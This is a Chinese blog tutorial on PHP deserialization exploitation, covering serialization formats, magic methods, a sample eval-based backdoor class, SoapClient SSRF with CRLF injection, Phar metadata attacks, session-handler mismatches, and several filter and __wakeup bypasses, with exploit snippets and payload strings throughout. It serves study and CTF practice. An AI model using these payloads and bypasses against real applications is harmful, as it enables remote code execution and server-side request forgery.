反序列化漏洞利用初探

7erry

在各类语言中给,将对象的状态信息转换为可存储或可传输的过程就是序列化,序列化的逆过程就是反序列化,主要是为了方便对象的传输,通过文件、网络等方式将序列化后的字符串进行传输,最终通过反序列化可以获取之前的对象。很多语言偶读存在序列化函数,包括但不限于Python、Java、PHP、.NET。如果一段程序中有着一些代码结构,它们具有会执行一些默认的行为,而这些行为部分或完全可控,我们就可用反序列化传入这些代码结构的实例控制目标程序的行为,实现攻击的效果

PHP反序列化

PHP提供了丰富的魔术方法,加上自动加载类的使用,为构写EXP提供了便利

PHP反序列化必知必会

反序列化函数

unserialize() 函数用于将通过 serialize() 函数序列化后的对象或数组进行反序列化,并返回原始的对象结构。

基本类型表达

PHP对象需要表达的内容较多,如类属性值的类型、值等,所以会存在一个基本格式

  • 布尔值 n->boollean : b:value -> b:0
  • 整数类型 i->integer : i:value -> i:1
  • 字符串型 s->string : s:length:”value” -> s:5:”value”
  • 数组型 a->array : a:<length>:{key:value} -> a:1:{i:1;s:1:”a”}
  • 对象型 O->Object(class) : O:<class_name_length>:
  • N -> NULL
  • 其他
    • d ->double
    • o ->common object
    • r ->reference
    • C ->custom object
    • R ->pointer reference

最终序列化数据的格式数据如下

1
<class_name>:<number_of_properties>:{<properties>}

示例

若序列化前的对象为

1
2
3
4
5
class Person{
public $name;
public $age=16;
public $sex;
}

通过serialize()函数进行序列化

1
O:6:"Person":3:{s:4:"name";N;s:3:"age";i:16;s:3:"sex";N;}

其中O表示这是一个对象,5是对象名的长度,Person是序列化后对象的名称,3表示对象有3个属性,第一个属性中s表示字符串,长度为属性名的长度,值为属性名,N表示属性值为Null。剩下两个属性的序列化含义相似

常见魔术方法及其触发方式

  • __destruct() 对象被销毁时触发
  • __call() 对不存在的方法或者不可访问的方法进行调用就自动调用
  • __callStatic() 在静态上下文中调用不可访问的方法时触发
  • __get() 用于从不可访问的属性读取数据
  • __set() 在给不可访问的(protected或者private)或者不存在的属性赋值的时候,会被调用
  • __isset() 在不可访问的属性上调用isset()或empty()触发
  • __unset() 在不可访问的属性上使用unset()时触发
  • __toString() 把类当作字符串使用时触发,返回值需要为字符串
  • __invoke() 当脚本尝试将对象调用为函数时触发
  • __construct 当一个对象创建时被调用,
  • __destruct 当一个对象销毁时被调用,
  • __toString 当一个对象被当作一个字符串被调用。
  • __wakeup() 使用unserialize时触发
  • __sleep() 使用serialize时触发

攻击原理剖析

PHP中存在魔术方法,即PHP自动调用,但是存在调用条件,比如__destruct是对象被销毁的时候进行调用,通常PHP在程序块执行结束的时候进行垃圾回收,这将进行对象销毁,然后自动触发__destruct魔术方法,如果魔术方法海存在一些恶意代码,即可完成攻击

若有PHP代码如下

1
2
3
4
5
6
7
8
9
10
<?php
class Test{
function __destruct(){
echo "destruct ..";
@eval($_POST['cmd']);
}

}
unserialize($_GET['u']);
?>

这段代码存在一个Test类中,其中__destruct函数中存在@eval($_POST['cmd']);,然后它可以通过参数 u 来接受序列化后的字符串。所以我们可以通过u参数传入一个序列化后的Test类实例,然后触发析构函数执行我们同时在cmd参数中传入的php代码。Exploit为

1
2
3
4
5
<?php
class Test{}
$test = new Test;
echo serialize($test);
?>

将输出的O:4:"Test":0:{}传入u参数,想要执行的php代码传入cmd参数即可利用反序列化漏洞进行攻击.如果有多个类且可以互相调用,我们就可以采用构造POP链的方式实现反序列化攻击

由于进行反序列化漏洞挖掘的代码审记时,显然攻击者最先确定的是最初触发的方法和最终执行恶意代码的方法,而寻找中间的一系列方法将头和尾衔接起来的行为叫做构造POP链

Bypass and Tips

原生类反序列化

利用SoapClient扩大攻击面

php安装php-soap后,可以反序列化原生类SoapClient,该原生类使用的SOAP协议采用了HTTP作为底层的通信协议和XML作为数据传送的格式,并且SoapClient类有着__call魔术方法。假如我们创建了一个SoapClient实例$soap = new SoapClient(null,array('uri'=>'test', 'location'=>'http://127.0.0.1:7777'));,则通过$soap -> TestSoap()触发它的__call魔术方法时,它会向http://127.0.0.1:7777发送http请求,且请求首部行会出现字段```SOAPAction:test#TestSoap```,这意味着该首部行字段可控,根据HTTP报文结构,如果我们注入CRLF(即插入\r\n),则可以将#TestSoap部分移至报文体中,进而控制首部行字段,当然,除此以外,HTTP报文的目标地址我们也是可控的,因此我们可以借助SoapClient拓展攻击面,实现SSRF攻击或修改Redis等可以通过HTTP协议进行交互的漏洞利用手段。简单Exploit如下

1
2
3
<?php
serialize(new SoapClient(null,array('uri'=>'http://vps/','location'=>'http://vps/aaa')));
?>

Phar反序列化

攻击者在利用反序列化漏洞的时候,只能将序列化后的字符串传入unserialize(),随着代码安全性越来越高,利用难度也越来越大 假如没有unserialize(),没了传参接口,攻击者还可以利用phar文件会以序列化的形式存储用户自定义的meta-data这一特性拓展php反序列化漏洞的攻击面
Phar文件可以通过将许多PHP代码文件和其他资源(例如图像,样式表等)捆绑到一个归档文件中来实现应用程序和库的分发,而它本质上是一种压缩文件,会以序列化的形式存储用户自定义的meta-data。当一些文件操作函数调用phar文件时,会自动反序列化meta-data内的内容
该方法在文件系统函数(fopen(),copy(),file_exists()、filesize()、is_dir()等)参数可控的情况下,配合phar://伪协议,可以不依赖unserialize()直接进行反序列化操作,即通过本地构造phar文件把恶意代码本地序列化好,在将phar文件上传到目标网站,最后通过phar伪协议配合文件系统函数反序列化phar文件,达到预期目的。

phar.phar文件是在我们本地生成,然后上传到目标网站,配合phar协议和相关函数,造成反序列的杀伤链.所以不用担心前置的开启phpstudy配置操作会影响后续操作.利用条件核心在于
1.phar文件要能够上传到服务器端。
2.要有可用的魔术方法作为“跳板”。
3.文件操作函数的参数可控,且 ./ ../ phar等特殊字符没有被过滤。

生成phar利用文件的Exploit为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
class Test {
}

@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new Test();
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

当WAF限制了phar不能出现在URI开头时,也可以使用compress.bzip2://和compress.zlib://等其他伪协议绕过

1
2
3
4
compress.bzip://phar:///test.phar/test.txt
compress.bzip2://phar:///test.phar/test.txt
compress.zlib://phar:///home/sx/test.phar/test.txt
php://filter/resource=phar:///test.phar/test.txt

Phar反序列化可利用的文件操作函数

img

Phar文件结构

  • stub:phar文件的标志,必须以 xxx __HALT_COMPILER();?> 结尾,否则无法识别。xxx可以为自定义内容。 //简单地说就是告诉系统自己是一个什么样的文件,声明文件后缀
  • manifest:phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这是漏洞利用最核心的地方。 //存放序列化的内容
  • content:被压缩文件的内容
  • signature (可空):签名,放在末尾。

Session反序列化

php默认存在一些Session处理器,php\php_binary\php_serialize或wddx。这些处理器都经过序列化来保存值,调用时反序列化。当存和读出现不一致时,处理器就会出现问题。真实案例Joomla1.5-3.4

php_serialize经过serialize()函数序列化数组
php键名+竖线+经过serialize()函数处理的值
php_binary键名的长度对应的ascii字符+键名+serialize()函数序列化的值

由于php引擎的存储格式是键名|serialized_string,而php_serialize引擎的存储格式是serialized_string。如果程序使用两个引擎来分别处理的话就会出现问题。
例如,当php_serialize处理器处理接收session,php处理器处理session时便会造成反序列化的可利用,因为php处理器是有一个|间隔符,如果我们有办法在php_serialize处理器传入时或者干脆Session可控时,在序列化字符串前加上|,|O:6:"JeRyWu":1:{s:4:"name";s:6:"JeRyWu";}"
此时session值为a:1:{s:7:"session";s:44:"|O:6:"JeRyWu":1:{s:4:"name";s:6:"JeRyWu";}";}当php处理器处理时,会把|当作间隔符,取出后面的值去反序列化,即是我们构造的O:6:"JeRyWu":1:{s:4:"name";s:6:"JeRyWu";}"

php处理器解析session文件时直接对’|’后的值进行反序列化处理是因为session_start()这个函数,官方说明:
当会话自动开始或者通过 session_start() 手动开始的时候, PHP 内部会调用会话管理器的 open 和 read 回调函数。 会话管理器可能是 PHP 默认的, 也可能是扩展提供的(SQLite 或者 Memcached 扩展), 也可能是通过 session_set_save_handler() 设定的用户自定义会话管理器。 通过 read 回调函数返回的现有会话数据(使用特殊的序列化格式存储),PHP 会自动反序列化数据并且填充 $_SESSION 超级全局变量

__wakeup Bypass

这个其实是个CVE,CVE-2016-7124

影响版本php5<5.6.25,php7<7.010
序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行
这个Bypass的经典真实案例是SugarCRMv6.5.23反序列化漏洞

反序列化正则 Bypass

有时会有人采用正则”/[oc]:\d+:/i”匹配序列化字符串是否是对象字符串开头来过滤反序列化字符
我们可以利用利用加号绕过(注意在url里传参时+要编码为%2B),或者利用数组绕过,例如serialize(array( a ) ),其中a为要反序列化的对象(序列化结果开头是a,不影响作为数组元素的$a的析构)

16进制编码绕过

1
O:4:"test":2:{s:4:"%00*%00a";s:3:"abc";s:7:"%00test%00b";s:3:"def";}

可以写成

1
O:4:"test":2:{S:4:"\00*\00\61";s:3:"abc";s:7:"%00test%00b";s:3:"def";}

表示字符类型的s大写时,会被当成16进制解析

Exception绕过

有时候会遇上Exception问题,因为报错导致后面代码无法执行。例如throw出异常后发生终止导致对象的析构函数没被执行之类的情况。我们可以故意传入错误的序列化字符串在异常发生前就触发析构函数

反序列化字符逃逸

漏洞案例Joomla RCE(CVE-2015-8562)

由长变短

如果针对反序列化字符串发生了字符替换或删除等使得字符串由长变短的情形,例如将JeRyWu替换为Jerry,而序列化字符串中表明原JeRyWu字符串长度的值仍是6,可替换后的序列化字符串Jerry长度实际上只有5,则会将Jerry的下一个字符也被视作普通字符而非作为序列化语句的字段去反序列化。如果我们连续传入5个JeRyWu,便可以将接下来的5个字符都视作普通字符,进而使原序列化字符串中具有特殊含义的字符部分被视作普通而被吞噬,若在被吞噬的字符后还有我们可自定义的类的成员,即可自定义包括但不限于被吞噬掉的类的成员的值。

由短边长

类似的,如果后端对序列化字符串进行了例如将Jerry替换为JeRyWu的操作,字符段的长度字段值仍是5,则JeRyWu中的u便不再是这个成员的值,借此我们可以传入payload长度的Jerry,使得payload成为被视作类的成员的字段可以借助,例如payload为;s:8:"showFlag";s:4:"True";}使得序列化字符串发生截断,且类的成员的值可控,从而实现Bypass

PHP引用实现Bypass

如果存在以下PHP后端代码

1
2
3
4
5
6
7
8
9
class just4fun{
var $enter;
var $secret;
}
$o = unserialize($_GET['o']);
$o->secret = "you do not know it";
if($o->secret === $o->enter){
echo "flag";
}

在序列化时,我们可以令enter成员为一个指向secret成员的指针,即exp为

1
2
3
4
5
6
7
class just4fun{
var $enter;
var $secret;
}
$o = new just4fun();
$o->enter = &$o->secret;
echo serialize($o);

可以得到输出O:8:"just4fun":2:{s:5:"enter";N;s:6:"secret";R:2;},此时$o->secret === $o->enter恒为true,即可成功获取flag

Reference

https://www.freebuf.com/articles/web/167721.html
https://www.freebuf.com/column/161798.html
https://cloud.tencent.com/developer/article/1838799
https://blog.csdn.net/solitudi/article/details/113588692
https://xz.aliyun.com/t/2715
https://threezh1.com/2019/09/09/phar%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/
https://i.blackhat.com/us-18/Thu-August-9/us-18-Thomas-Its-A-PHP-Unserialization-Vulnerability-Jim-But-Not-As-We-Know-It-wp.pdf
https://blog.csdn.net/qq_43431158/article/details/99544797
https://www.cnblogs.com/or4nge/p/13439974.html
https://blog.zsxsoft.com/post/38
https://paper.seebug.org/680/
https://www.freebuf.com/articles/web/182231.html
https://www.freebuf.com/vuls/202819.html
https://blog.csdn.net/qq_38154820/article/details/119952852
https://www.freebuf.com/vuls/202819.html
https://zhuanlan.zhihu.com/p/628402113

  • Title: 反序列化漏洞利用初探
  • Author: 7erry
  • Created at : 2023-09-01 00:00:00
  • Updated at : 2023-09-20 00:00:00
  • Link: http://7erry.com/2023/09/01/反序列化漏洞利用初探/
  • License: This work is licensed under CC BY-NC 4.0.